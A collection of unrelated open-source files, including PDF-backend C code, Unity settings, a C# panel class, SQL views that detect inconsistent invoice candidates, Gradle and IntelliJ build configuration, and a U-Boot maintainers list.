void synch_pos_with_cur(posstructure * pos, posstructure * refpos, scaledpos cur)
{
switch (pos->dir) {
case dir_TLT:
pos->pos.h = refpos->pos.h + cur.h;
pos->pos.v = refpos->pos.v - cur.v;
break;
case dir_TRT:
pos->pos.h = refpos->pos.h - cur.h;
pos->pos.v = refpos->pos.v - cur.v;
break;
case dir_LTL:
pos->pos.h = refpos->pos.h + cur.v;
pos->pos.v = refpos->pos.v - cur.h;
break;
case dir_RTT:
pos->pos.h = refpos->pos.h - cur.v;
pos->pos.v = refpos->pos.v - cur.h;
break;
default:
formatted_warning("pdf backend","forcing bad dir %i to TLT in synch_pos_with_cur",pos->dir);
pos->dir = dir_TLT;
pos->pos.h = refpos->pos.h + cur.h;
pos->pos.v = refpos->pos.v - cur.v;
break;
}
}
boolean calc_pdfpos(pdfstructure * p, scaledpos pos)
{
scaledpos new;
boolean move_pdfpos = false;
switch (p->mode) {
case PMODE_PAGE:
new.h = i64round(pos.h * p->k1);
new.v = i64round(pos.v * p->k1);
/*tex cm is concatenated */
p->cm[4].m = new.h - p->pdf.h.m;
p->cm[5].m = new.v - p->pdf.v.m;
if (new.h != p->pdf.h.m || new.v != p->pdf.v.m)
move_pdfpos = true;
break;
case PMODE_TEXT:
new.h = i64round(pos.h * p->k1);
new.v = i64round(pos.v * p->k1);
/*tex Tm replaces */
p->tm[4].m = new.h - p->pdf_bt_pos.h.m;
p->tm[5].m = new.v - p->pdf_bt_pos.v.m;
if (new.h != p->pdf.h.m || new.v != p->pdf.v.m)
move_pdfpos = true;
break;
case PMODE_CHAR:
case PMODE_CHARARRAY:
switch (p->wmode) {
case WMODE_H:
new.h = i64round((pos.h * p->k1 - (double) p->pdf_tj_pos.h.m) * p->k2);
new.v = i64round(pos.v * p->k1);
p->tj_delta.m = -i64round((double) ((new.h - p->cw.m) / ten_pow[p->cw.e - p->tj_delta.e]));
/*tex p->tm[4] is meaningless */
p->tm[5].m = new.v - p->pdf_bt_pos.v.m;
if (p->tj_delta.m != 0 || new.v != p->pdf.v.m)
move_pdfpos = true;
break;
case WMODE_V:
new.h = i64round(pos.h * p->k1);
new.v = i64round(((double) p->pdf_tj_pos.v.m - pos.v * p->k1) * p->k2);
/*tex p->tm[5] is meaningless */
p->tm[4].m = new.h - p->pdf_bt_pos.h.m;
p->tj_delta.m = -i64round((double) ((new.v - p->cw.m) / ten_pow[p->cw.e - p->tj_delta.e]));
if (p->tj_delta.m != 0 || new.h != p->pdf.h.m)
move_pdfpos = true;
break;
default:
normal_error("pdf backend","unknown mode in char array in calc_pos");
break;
}
break;
default:
normal_error("pdf backend","unknown mode in calc_pos");
}
return move_pdfpos;
}
void print_pdf_matrix(PDF pdf, pdffloat * tm)
{
int i;
for (i = 0; i < 5; i++) {
print_pdffloat(pdf, tm[i]);
pdf_out(pdf, ' ');
}
print_pdffloat(pdf, tm[i]);
}
void pdf_print_cm(PDF pdf, pdffloat * cm)
{
print_pdf_matrix(pdf, cm);
pdf_puts(pdf, " cm\n");
}
void pdf_set_pos(PDF pdf, scaledpos pos)
{
boolean move;
pdfstructure *p = pdf->pstruct;
if (!is_pagemode(p))
normal_error("pdf backend","page mode expected in set_pos");
move = calc_pdfpos(p, pos);
if (move) {
pdf_print_cm(pdf, p->cm);
p->pdf.h.m += p->cm[4].m;
p->pdf.v.m += p->cm[5].m;
}
}
void pdf_set_pos_temp(PDF pdf, scaledpos pos)
{
boolean move;
pdfstructure *p = pdf->pstruct;
if (!is_pagemode(p))
normal_error("pdf backend","page mode expected in set_pos_temp");
move = calc_pdfpos(p, pos);
if (move) {
pdf_print_cm(pdf, p->cm);
}
}
static void begin_text(PDF pdf)
{
pdfstructure *p = pdf->pstruct;
if (!is_pagemode(p))
normal_error("pdf backend","page mode expected in begin_text");
p->pdf_bt_pos = p->pdf;
pdf_puts(pdf, "BT\n");
p->mode = PMODE_TEXT;
p->need_tf = true;
p->need_width = 0;
p->need_mode = 0;
}
static void end_text(PDF pdf)
{
pdfstructure *p = pdf->pstruct;
if (!is_textmode(p))
normal_error("pdf backend","text mode expected in end_text");
if (p->done_width != 0) {
pdf_puts(pdf, "0 w\n");
p->done_width = 0;
}
if (p->done_mode != 0) {
pdf_puts(pdf, "0 Tr\n");
p->done_mode = 0;
}
pdf_puts(pdf, "ET\n");
p->pdf = p->pdf_bt_pos;
p->mode = PMODE_PAGE;
}
void pdf_end_string_nl(PDF pdf)
{
pdfstructure *p = pdf->pstruct;
if (is_charmode(p))
end_charmode(pdf);
if (is_chararraymode(p))
end_chararray(pdf);
}
void pdf_goto_pagemode(PDF pdf)
{
pdfstructure *p = pdf->pstruct;
if (!is_pagemode(p)) {
if (is_charmode(p))
end_charmode(pdf);
if (is_chararraymode(p))
end_chararray(pdf);
if (is_textmode(p))
end_text(pdf);
if (!is_pagemode(p))
normal_error("pdf backend","page mode expected in goto_page_mode");
}
}
void pdf_goto_textmode(PDF pdf)
{
pdfstructure *p = pdf->pstruct;
const scaledpos origin = {
0, 0
};
if (is_pagemode(p)) {
/*tex Reset to the page origin: */
pdf_set_pos(pdf, origin);
begin_text(pdf);
} else if (!is_textmode(p)) {
if (is_charmode(p))
end_charmode(pdf);
if (is_chararraymode(p))
end_chararray(pdf);
if (!is_textmode(p))
normal_error("pdf backend","text mode expected in goto_text_mode");
}
}
void pdf_goto_fontmode(PDF pdf){
pdfstructure *p = pdf->pstruct;
const scaledpos origin = {
0, 0
};
if (is_charmode(p))
end_charmode(pdf);
if (is_chararraymode(p))
end_chararray(pdf);
if (is_textmode(p))
end_text(pdf);
pdf_set_pos(pdf, origin);
p->mode = PMODE_PAGE;
}
| {
"pile_set_name": "Github"
} |
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!30 &1
GraphicsSettings:
m_ObjectHideFlags: 0
serializedVersion: 12
m_Deferred:
m_Mode: 1
m_Shader: {fileID: 69, guid: 0000000000000000f000000000000000, type: 0}
m_DeferredReflections:
m_Mode: 1
m_Shader: {fileID: 74, guid: 0000000000000000f000000000000000, type: 0}
m_ScreenSpaceShadows:
m_Mode: 1
m_Shader: {fileID: 64, guid: 0000000000000000f000000000000000, type: 0}
m_LegacyDeferred:
m_Mode: 1
m_Shader: {fileID: 63, guid: 0000000000000000f000000000000000, type: 0}
m_DepthNormals:
m_Mode: 1
m_Shader: {fileID: 62, guid: 0000000000000000f000000000000000, type: 0}
m_MotionVectors:
m_Mode: 1
m_Shader: {fileID: 75, guid: 0000000000000000f000000000000000, type: 0}
m_LightHalo:
m_Mode: 1
m_Shader: {fileID: 105, guid: 0000000000000000f000000000000000, type: 0}
m_LensFlare:
m_Mode: 1
m_Shader: {fileID: 102, guid: 0000000000000000f000000000000000, type: 0}
m_AlwaysIncludedShaders:
- {fileID: 7, guid: 0000000000000000f000000000000000, type: 0}
- {fileID: 15104, guid: 0000000000000000f000000000000000, type: 0}
- {fileID: 15105, guid: 0000000000000000f000000000000000, type: 0}
- {fileID: 15106, guid: 0000000000000000f000000000000000, type: 0}
- {fileID: 10753, guid: 0000000000000000f000000000000000, type: 0}
- {fileID: 10770, guid: 0000000000000000f000000000000000, type: 0}
- {fileID: 10783, guid: 0000000000000000f000000000000000, type: 0}
m_PreloadedShaders: []
m_SpritesDefaultMaterial: {fileID: 10754, guid: 0000000000000000f000000000000000,
type: 0}
m_CustomRenderPipeline: {fileID: 0}
m_TransparencySortMode: 0
m_TransparencySortAxis: {x: 0, y: 0, z: 1}
m_DefaultRenderingPath: 1
m_DefaultMobileRenderingPath: 1
m_TierSettings: []
m_LightmapStripping: 0
m_FogStripping: 0
m_InstancingStripping: 0
m_LightmapKeepPlain: 1
m_LightmapKeepDirCombined: 1
m_LightmapKeepDynamicPlain: 1
m_LightmapKeepDynamicDirCombined: 1
m_LightmapKeepShadowMask: 1
m_LightmapKeepSubtractive: 1
m_FogKeepLinear: 1
m_FogKeepExp: 1
m_FogKeepExp2: 1
m_AlbedoSwatchInfos: []
m_LightsUseLinearIntensity: 0
m_LightsUseColorTemperature: 0
| {
"pile_set_name": "Github"
} |
using System;
using System.ComponentModel;
using System.Collections;
using System.Diagnostics;
using System.Text;
using System.Windows.Forms;
using System.Drawing;
namespace AreaLightTest
{
public class PanelOutput : Panel
{
public PanelOutput()
{
InitializeComponent();
}
public PanelOutput( IContainer container )
{
container.Add( this );
InitializeComponent();
}
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose( bool disposing )
{
if ( disposing && (components != null) )
{
components.Dispose();
}
base.Dispose( disposing );
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
components = new System.ComponentModel.Container();
}
#endregion
protected override void OnResize( EventArgs eventargs )
{
base.OnResize( eventargs );
Invalidate();
}
protected override void OnPaintBackground( PaintEventArgs e )
{
// base.OnPaintBackground( e ); // Don't!
}
}
}
| {
"pile_set_name": "Github"
} |
.. wmd-relax documentation master file, created by
sphinx-quickstart on Mon Jun 5 16:52:34 2017.
You can adapt this file completely to your liking, but it should at least
contain the root `toctree` directive.
wmd-relax's documentation
=========================
.. toctree::
:maxdepth: 2
:caption: Contents:
.. automodule:: wmd
:members:
`Doxygen docs <../../doxyhtml/files.html>`_
Doxygen docs
============
`Doxygen docs <../../doxyhtml/files.html>`_
Indices and tables
==================
* :ref:`genindex`
* :ref:`modindex`
* :ref:`search`
| {
"pile_set_name": "Github"
} |
DROP VIEW IF EXISTS de_metas_invoicecandidate.c_invoice_candidate_failed_to_update_v;
DROP VIEW IF EXISTS de_metas_invoicecandidate.c_invoice_candidate_missing_aggregation_group_v;
CREATE OR REPLACE VIEW de_metas_invoicecandidate.c_invoice_candidate_missing_aggregation_group_v AS
SELECT ic.c_invoice_candidate_id, ic.created, ic.updated
FROM c_invoice_candidate ic
WHERE true
AND ic.c_invoice_candidate_headeraggregation_effective_id IS NULL
AND ic.processed = 'N'::bpchar
AND ic.istoclear = 'N'::bpchar
AND (ic.updated + '00:10:00'::interval) < now()
ORDER BY ic.updated DESC;
COMMENT ON VIEW de_metas_invoicecandidate.c_invoice_candidate_missing_aggregation_group_v
IS 'ICs that don''t yet have an aggregation group, but were created/updated more than 10 minutes ago.
see issue FRESH-93';
DROP VIEW IF EXISTS de_metas_invoicecandidate.c_invoice_candidate_stale_qtyinvoiced_v;
CREATE OR REPLACE VIEW de_metas_invoicecandidate.c_invoice_candidate_stale_qtyinvoiced_v AS
SELECT ic.c_invoice_candidate_id, ic.qtyinvoiced, sum(ila.qtyinvoiced) AS sum
FROM c_invoice_candidate ic
JOIN c_invoice_line_alloc ila ON ic.c_invoice_candidate_id = ila.c_invoice_candidate_id
WHERE true
AND ic.processed = 'N'
AND (ic.updated + '00:10:00'::interval) < now()
GROUP BY ic.c_invoice_candidate_id, ic.qtyinvoiced
HAVING ic.qtyinvoiced <> sum(ila.qtyinvoiced);
COMMENT ON VIEW de_metas_invoicecandidate.c_invoice_candidate_stale_qtyinvoiced_v
IS 'ICs that have an inconsistend QtyInvoiced value and were created/updated more than 10 minutes ago.
see issue FRESH-93';
DROP VIEW IF EXISTS de_metas_invoicecandidate.c_invoice_candidate_wrong_qtydelivered_iol_v;
CREATE OR REPLACE VIEW de_metas_invoicecandidate.c_invoice_candidate_wrong_qty_iol_v AS
SELECT
ic.c_invoice_candidate_id,
ic.created,
ic.updated,
dt.name,
COALESCE(ic.datetoinvoice_override, ic.datetoinvoice) AS "coalesce",
ic.qtydelivered,
sum(iol.movementqty) AS sum
FROM c_invoice_candidate ic
JOIN c_doctype dt ON dt.c_doctype_id = ic.c_doctypeinvoice_id
JOIN c_invoicecandidate_inoutline ic_iol ON ic_iol.c_invoice_candidate_id = ic.c_invoice_candidate_id
JOIN m_inoutline iol ON iol.m_inoutline_id = ic_iol.m_inoutline_id
JOIN m_inout io ON io.m_inout_id = iol.m_inout_id
LEFT JOIN c_orderline ol ON ol.c_orderline_id = ic.c_orderline_id
LEFT JOIN c_invoice_candidate_recompute icr ON icr.c_invoice_candidate_id = ic.c_invoice_candidate_id
WHERE true
AND (ic.updated + interval '10 minutes') < now()
AND COALESCE(ic.processed_override, ic.processed) = 'N'
AND io.docstatus IN ('CO', 'CL')
AND icr.c_invoice_candidate_id IS NULL
AND ol.c_orderline_id IS NULL
GROUP BY
ic.c_invoice_candidate_id,
ic.created,
ic.updated,
dt.name,
COALESCE(ic.datetoinvoice_override, ic.datetoinvoice),
ic.qtydelivered
HAVING abs(ic.qtydelivered) <> abs(sum(iol.movementqty)) OR abs(ic.QtyOrdered) <> abs(sum(iol.MovementQty))
ORDER BY COALESCE(ic.datetoinvoice_override, ic.datetoinvoice);
COMMENT ON VIEW de_metas_invoicecandidate.c_invoice_candidate_wrong_qty_iol_v
IS 'ICs that
* do reference an M_InOutLine and
* do _not_ reference a C_OrderLine and
* have an inconsistent QtyDelivered or QtyOrdered value and
* were created/updated more than 10 minutes ago.
see Issue FRESH-93';
DROP VIEW IF EXISTS de_metas_invoicecandidate.c_invoice_candidate_wrong_qtydelivered_ol_v;
DROP VIEW IF EXISTS de_metas_invoicecandidate.c_invoice_candidate_wrong_qty_ol_v;
CREATE OR REPLACE VIEW de_metas_invoicecandidate.c_invoice_candidate_wrong_qty_ol_v AS
SELECT ic.c_invoice_candidate_id, ic.created, ic.updated, ic.qtyordered, ol.qtyordered AS ol_qtyordered, ic.qtydelivered, ol.qtydelivered AS ol_qtydelivered
FROM c_invoice_candidate ic
JOIN c_orderline ol ON ol.c_orderline_id = ic.c_orderline_id
JOIN c_order o ON o.c_order_id = ol.c_order_id
LEFT JOIN c_invoice_candidate_recompute icr ON icr.c_invoice_candidate_id = ic.c_invoice_candidate_id
WHERE true
AND (ic.updated + interval '10 minutes') < now()
AND COALESCE(ic.processed_override, ic.processed) = 'N'
AND icr.c_invoice_candidate_id IS NULL
AND o.docstatus IN ('CO', 'CL')
AND (ic.qtydelivered <> ol.qtydelivered OR ic.qtyordered <> ol.qtyordered);
COMMENT ON VIEW de_metas_invoicecandidate.c_invoice_candidate_wrong_qty_ol_v
IS 'ICs that
* reference a C_OrderLine and
* have an inconsistend QtyDelivered or QtyOrdered value and
* were created/updated more than 10 minutes ago.
see Issue FRESH-93';
CREATE OR REPLACE VIEW de_metas_invoicecandidate.c_invoice_candidate_failed_to_update_v AS
SELECT
now() AS found,
NULL::timestamp with time zone AS reenqueued,
'N'::character(1) AS iserroracknowledged,
'C_Invoice_Candidate_Wrong_Qty_iol_v'::text AS problem_found_by,
ic.ad_client_id, ic.ad_org_id, ic.c_invoice_candidate_id, ic.c_orderline_id, ic.created, ic.createdby, ic.isactive, ic.qtytoinvoice, ic.updated, ic.updatedby, ic.schedulerresult, ic.priceactual_override, ic.discount_override, ic.bill_bpartner_id, ic.bill_location_id, ic.bill_user_id, ic.invoicerule, ic.qtytoinvoicenetamt, ic.dateinvoiced, ic.istoclear, ic.m_product_id, ic.dateordered, ic.processed, ic.priceactual, ic.c_currency_id, ic.qtyordered, ic.qtydelivered, ic.qtyinvoiced, ic.qtytoinvoice_override, ic.qtytoinvoice_overridefulfilled, ic.c_charge_id, ic.bill_bpartner_override_id, ic.invoicerule_override, ic.m_pricingsystem_id, ic.discount, ic.netamttoinvoice, ic.netamtinvoiced, ic.c_invoice_candidate_agg_id, ic.lineaggregationkey, ic.lineaggregationkey_suffix, ic.c_ilcandhandler_id, ic.ad_table_id, ic.record_id, ic.iserror, ic.ad_note_id, ic.errormsg, ic.datetoinvoice, ic.datetoinvoice_override, ic.c_conversiontype_id, ic.invoicescheduleamtstatus, ic.ismanual, ic.description, ic.ad_user_incharge_id, ic.headeraggregationkey, ic.splitamt, ic.descriptionheader, ic.descriptionbottom, ic.priceentered, ic.priceentered_override, ic.issotrx, ic.allowconsolidateinvoice, ic.qualitydiscountpercent_effective, ic.qualitynote_receiptschedule, ic.qualitydiscountpercent, ic.qualitydiscountpercent_override, ic.isindispute, ic.qtywithissues, ic.qtyorderedoverunder, ic.reasondiscount, ic.c_uom_id, ic.price_uom_id, ic.c_order_id, ic.c_activity_id, ic.c_tax_id, ic.qtytoinvoiceinpriceuom, ic.isprinted, ic.line, ic.c_doctypeinvoice_id, ic.m_material_tracking_id, ic.approvalforinvoicing, ic.c_tax_override_id, ic.poreference, ic.dateacct, ic.deliverydate, ic.m_inout_id, ic.priceactual_net_effective, ic.istaxincluded, ic.qtyenteredtu, ic.qtytoinvoicebeforediscount, ic.istaxincluded_override, ic.c_invoice_candidate_headeraggregation_id, ic.c_invoice_candidate_headeraggregation_override_id, ic.headeraggregationkey_calc, ic.c_invoice_candidate_headeraggregation_effective_id, ic.headeraggregationkeybuilder_id, ic.first_ship_bplocation_id, ic.isinoutapprovedforinvoicing, ic.qtywithissues_effective, ic.processed_override, ic.processed_calc, ic.task_08848_fixed, ic.lineaggregationkeybuilder_id, ic.ispackagingmaterial, ic.isedirecipient, ic.isedienabled, ic.m_pricelist_version_id, ic.qualityinvoicelinegrouptype
FROM c_invoice_candidate ic
WHERE ic.c_invoice_candidate_id IN ( SELECT c_invoice_candidate_id FROM de_metas_invoicecandidate.c_invoice_candidate_wrong_qty_iol_v)
UNION
SELECT
now() AS found,
NULL::timestamp with time zone AS reenqueued,
'N'::bpchar AS iserroracknowledged,
'C_Invoice_Candidate_Wrong_Qty_ol_v'::text AS problem_found_by,
ic.ad_client_id, ic.ad_org_id, ic.c_invoice_candidate_id, ic.c_orderline_id, ic.created, ic.createdby, ic.isactive, ic.qtytoinvoice, ic.updated, ic.updatedby, ic.schedulerresult, ic.priceactual_override, ic.discount_override, ic.bill_bpartner_id, ic.bill_location_id, ic.bill_user_id, ic.invoicerule, ic.qtytoinvoicenetamt, ic.dateinvoiced, ic.istoclear, ic.m_product_id, ic.dateordered, ic.processed, ic.priceactual, ic.c_currency_id, ic.qtyordered, ic.qtydelivered, ic.qtyinvoiced, ic.qtytoinvoice_override, ic.qtytoinvoice_overridefulfilled, ic.c_charge_id, ic.bill_bpartner_override_id, ic.invoicerule_override, ic.m_pricingsystem_id, ic.discount, ic.netamttoinvoice, ic.netamtinvoiced, ic.c_invoice_candidate_agg_id, ic.lineaggregationkey, ic.lineaggregationkey_suffix, ic.c_ilcandhandler_id, ic.ad_table_id, ic.record_id, ic.iserror, ic.ad_note_id, ic.errormsg, ic.datetoinvoice, ic.datetoinvoice_override, ic.c_conversiontype_id, ic.invoicescheduleamtstatus, ic.ismanual, ic.description, ic.ad_user_incharge_id, ic.headeraggregationkey, ic.splitamt, ic.descriptionheader, ic.descriptionbottom, ic.priceentered, ic.priceentered_override, ic.issotrx, ic.allowconsolidateinvoice, ic.qualitydiscountpercent_effective, ic.qualitynote_receiptschedule, ic.qualitydiscountpercent, ic.qualitydiscountpercent_override, ic.isindispute, ic.qtywithissues, ic.qtyorderedoverunder, ic.reasondiscount, ic.c_uom_id, ic.price_uom_id, ic.c_order_id, ic.c_activity_id, ic.c_tax_id, ic.qtytoinvoiceinpriceuom, ic.isprinted, ic.line, ic.c_doctypeinvoice_id, ic.m_material_tracking_id, ic.approvalforinvoicing, ic.c_tax_override_id, ic.poreference, ic.dateacct, ic.deliverydate, ic.m_inout_id, ic.priceactual_net_effective, ic.istaxincluded, ic.qtyenteredtu, ic.qtytoinvoicebeforediscount, ic.istaxincluded_override, ic.c_invoice_candidate_headeraggregation_id, ic.c_invoice_candidate_headeraggregation_override_id, ic.headeraggregationkey_calc, ic.c_invoice_candidate_headeraggregation_effective_id, ic.headeraggregationkeybuilder_id, ic.first_ship_bplocation_id, ic.isinoutapprovedforinvoicing, ic.qtywithissues_effective, ic.processed_override, ic.processed_calc, ic.task_08848_fixed, ic.lineaggregationkeybuilder_id, ic.ispackagingmaterial, ic.isedirecipient, ic.isedienabled, ic.m_pricelist_version_id, ic.qualityinvoicelinegrouptype
FROM c_invoice_candidate ic
WHERE ic.c_invoice_candidate_id IN ( SELECT c_invoice_candidate_id FROM de_metas_invoicecandidate.c_invoice_candidate_wrong_qty_ol_v)
UNION
SELECT
now() AS found,
NULL::timestamp with time zone AS reenqueued,
'N'::bpchar AS iserroracknowledged,
'C_Invoice_Candidate_Stale_QtyInvoiced_v'::text AS problem_found_by,
ic.ad_client_id, ic.ad_org_id, ic.c_invoice_candidate_id, ic.c_orderline_id, ic.created, ic.createdby, ic.isactive, ic.qtytoinvoice, ic.updated, ic.updatedby, ic.schedulerresult, ic.priceactual_override, ic.discount_override, ic.bill_bpartner_id, ic.bill_location_id, ic.bill_user_id, ic.invoicerule, ic.qtytoinvoicenetamt, ic.dateinvoiced, ic.istoclear, ic.m_product_id, ic.dateordered, ic.processed, ic.priceactual, ic.c_currency_id, ic.qtyordered, ic.qtydelivered, ic.qtyinvoiced, ic.qtytoinvoice_override, ic.qtytoinvoice_overridefulfilled, ic.c_charge_id, ic.bill_bpartner_override_id, ic.invoicerule_override, ic.m_pricingsystem_id, ic.discount, ic.netamttoinvoice, ic.netamtinvoiced, ic.c_invoice_candidate_agg_id, ic.lineaggregationkey, ic.lineaggregationkey_suffix, ic.c_ilcandhandler_id, ic.ad_table_id, ic.record_id, ic.iserror, ic.ad_note_id, ic.errormsg, ic.datetoinvoice, ic.datetoinvoice_override, ic.c_conversiontype_id, ic.invoicescheduleamtstatus, ic.ismanual, ic.description, ic.ad_user_incharge_id, ic.headeraggregationkey, ic.splitamt, ic.descriptionheader, ic.descriptionbottom, ic.priceentered, ic.priceentered_override, ic.issotrx, ic.allowconsolidateinvoice, ic.qualitydiscountpercent_effective, ic.qualitynote_receiptschedule, ic.qualitydiscountpercent, ic.qualitydiscountpercent_override, ic.isindispute, ic.qtywithissues, ic.qtyorderedoverunder, ic.reasondiscount, ic.c_uom_id, ic.price_uom_id, ic.c_order_id, ic.c_activity_id, ic.c_tax_id, ic.qtytoinvoiceinpriceuom, ic.isprinted, ic.line, ic.c_doctypeinvoice_id, ic.m_material_tracking_id, ic.approvalforinvoicing, ic.c_tax_override_id, ic.poreference, ic.dateacct, ic.deliverydate, ic.m_inout_id, ic.priceactual_net_effective, ic.istaxincluded, ic.qtyenteredtu, ic.qtytoinvoicebeforediscount, ic.istaxincluded_override, ic.c_invoice_candidate_headeraggregation_id, ic.c_invoice_candidate_headeraggregation_override_id, ic.headeraggregationkey_calc, ic.c_invoice_candidate_headeraggregation_effective_id, ic.headeraggregationkeybuilder_id, ic.first_ship_bplocation_id, ic.isinoutapprovedforinvoicing, ic.qtywithissues_effective, ic.processed_override, ic.processed_calc, ic.task_08848_fixed, ic.lineaggregationkeybuilder_id, ic.ispackagingmaterial, ic.isedirecipient, ic.isedienabled, ic.m_pricelist_version_id, ic.qualityinvoicelinegrouptype
FROM c_invoice_candidate ic
WHERE ic.c_invoice_candidate_id IN ( SELECT c_invoice_candidate_id FROM de_metas_invoicecandidate.c_invoice_candidate_stale_qtyinvoiced_v)
UNION
SELECT
now() AS found,
NULL::timestamp with time zone AS reenqueued,
'N'::bpchar AS iserroracknowledged,
'C_Invoice_Candidate_Missing_Aggregation_Group_v'::text AS problem_found_by,
ic.ad_client_id, ic.ad_org_id, ic.c_invoice_candidate_id, ic.c_orderline_id, ic.created, ic.createdby, ic.isactive, ic.qtytoinvoice, ic.updated, ic.updatedby, ic.schedulerresult, ic.priceactual_override, ic.discount_override, ic.bill_bpartner_id, ic.bill_location_id, ic.bill_user_id, ic.invoicerule, ic.qtytoinvoicenetamt, ic.dateinvoiced, ic.istoclear, ic.m_product_id, ic.dateordered, ic.processed, ic.priceactual, ic.c_currency_id, ic.qtyordered, ic.qtydelivered, ic.qtyinvoiced, ic.qtytoinvoice_override, ic.qtytoinvoice_overridefulfilled, ic.c_charge_id, ic.bill_bpartner_override_id, ic.invoicerule_override, ic.m_pricingsystem_id, ic.discount, ic.netamttoinvoice, ic.netamtinvoiced, ic.c_invoice_candidate_agg_id, ic.lineaggregationkey, ic.lineaggregationkey_suffix, ic.c_ilcandhandler_id, ic.ad_table_id, ic.record_id, ic.iserror, ic.ad_note_id, ic.errormsg, ic.datetoinvoice, ic.datetoinvoice_override, ic.c_conversiontype_id, ic.invoicescheduleamtstatus, ic.ismanual, ic.description, ic.ad_user_incharge_id, ic.headeraggregationkey, ic.splitamt, ic.descriptionheader, ic.descriptionbottom, ic.priceentered, ic.priceentered_override, ic.issotrx, ic.allowconsolidateinvoice, ic.qualitydiscountpercent_effective, ic.qualitynote_receiptschedule, ic.qualitydiscountpercent, ic.qualitydiscountpercent_override, ic.isindispute, ic.qtywithissues, ic.qtyorderedoverunder, ic.reasondiscount, ic.c_uom_id, ic.price_uom_id, ic.c_order_id, ic.c_activity_id, ic.c_tax_id, ic.qtytoinvoiceinpriceuom, ic.isprinted, ic.line, ic.c_doctypeinvoice_id, ic.m_material_tracking_id, ic.approvalforinvoicing, ic.c_tax_override_id, ic.poreference, ic.dateacct, ic.deliverydate, ic.m_inout_id, ic.priceactual_net_effective, ic.istaxincluded, ic.qtyenteredtu, ic.qtytoinvoicebeforediscount, ic.istaxincluded_override, ic.c_invoice_candidate_headeraggregation_id, ic.c_invoice_candidate_headeraggregation_override_id, ic.headeraggregationkey_calc, ic.c_invoice_candidate_headeraggregation_effective_id, ic.headeraggregationkeybuilder_id, ic.first_ship_bplocation_id, ic.isinoutapprovedforinvoicing, ic.qtywithissues_effective, ic.processed_override, ic.processed_calc, ic.task_08848_fixed, ic.lineaggregationkeybuilder_id, ic.ispackagingmaterial, ic.isedirecipient, ic.isedienabled, ic.m_pricelist_version_id, ic.qualityinvoicelinegrouptype
FROM c_invoice_candidate ic
WHERE ic.c_invoice_candidate_id IN ( SELECT c_invoice_candidate_id FROM de_metas_invoicecandidate.c_invoice_candidate_missing_aggregation_group_v);
COMMENT ON VIEW de_metas_invoicecandidate.c_invoice_candidate_failed_to_update_v
IS 'Union that selects all invoice candidates which were identified by one of the individual views.
Issue FRESH-93';
| {
"pile_set_name": "Github"
} |
<component name="libraryTable">
<library name="Maven: org.apache.tiles:tiles-el:3.0.5">
<CLASSES>
<root url="jar://$MAVEN_REPOSITORY$/org/apache/tiles/tiles-el/3.0.5/tiles-el-3.0.5.jar!/" />
</CLASSES>
<JAVADOC>
<root url="jar://$MAVEN_REPOSITORY$/org/apache/tiles/tiles-el/3.0.5/tiles-el-3.0.5-javadoc.jar!/" />
</JAVADOC>
<SOURCES>
<root url="jar://$MAVEN_REPOSITORY$/org/apache/tiles/tiles-el/3.0.5/tiles-el-3.0.5-sources.jar!/" />
</SOURCES>
</library>
</component> | {
"pile_set_name": "Github"
} |
import org.gradle.api.internal.HasConvention
import org.jetbrains.kotlin.gradle.dsl.Coroutines
import org.jetbrains.kotlin.gradle.dsl.KotlinJvmCompile
import org.jetbrains.kotlin.gradle.plugin.KotlinSourceSet
buildscript {
repositories {
mavenCentral()
maven { setUrl("https://oss.sonatype.org/content/repositories/snapshots/") }
maven { setUrl("http://dl.bintray.com/jetbrains/intellij-plugin-service") }
}
}
plugins {
java
idea
kotlin("jvm") version "1.3.70"
id("org.jetbrains.intellij") version "0.4.18"
}
repositories {
mavenCentral()
}
dependencies {
testCompile("junit:junit:4.12")
}
fun sourceRoots(block: SourceSetContainer.() -> Unit) = sourceSets.apply(block)
val SourceSet.kotlin: SourceDirectorySet get() = (this as HasConvention).convention.getPlugin<KotlinSourceSet>().kotlin
sourceRoots {
getByName("main") {
java.srcDirs("./src")
kotlin.srcDirs("./src")
resources.srcDirs("./resources")
}
getByName("test") {
kotlin.srcDirs("./test")
}
}
tasks.withType<KotlinJvmCompile> {
kotlinOptions {
jvmTarget = "11"
apiVersion = "1.3"
languageVersion = "1.3"
}
}
kotlin {
experimental.coroutines = Coroutines.ENABLE
}
intellij {
// See https://www.jetbrains.com/intellij-repository/releases
val ideVersion = System.getenv().getOrDefault("IJ_VERSION",
"201.6668.113"
// "LATEST-EAP-SNAPSHOT"
)
println("Using ide version: $ideVersion")
version = ideVersion
pluginName = "pomodoro"
downloadSources = true
sameSinceUntilBuild = false
updateSinceUntilBuild = false
}
val Any.kotlin: SourceDirectorySet get() = withConvention(KotlinSourceSet::class) { kotlin }
| {
"pile_set_name": "Github"
} |
DA8XXEVM BOARD
M: Nick Thompson <[email protected]>
S: Maintained
F: board/davinci/da8xxevm/
F: include/configs/da830evm.h
F: configs/da830evm_defconfig
DA850_AM18XXEVM BOARD
M: Sudhakar Rajashekhara <[email protected]>
S: Maintained
F: include/configs/da850evm.h
F: configs/da850_am18xxevm_defconfig
F: configs/da850evm_defconfig
F: configs/da850evm_direct_nor_defconfig
HAWKBOARD BOARD
M: Syed Mohammed Khasim <[email protected]>
M: Sughosh Ganu <[email protected]>
S: Maintained
F: include/configs/hawkboard.h
F: configs/hawkboard_defconfig
F: configs/hawkboard_uart_defconfig
| {
"pile_set_name": "Github"
} |
--loose-plugin-load-add=$HA_MROONGA_SO --loose-plugin-mroonga=ON
| {
"pile_set_name": "Github"
} |
/*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package status
import (
"fmt"
"reflect"
"strings"
"time"
"github.com/golang/glog"
apierrors "k8s.io/apimachinery/pkg/api/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/conversion"
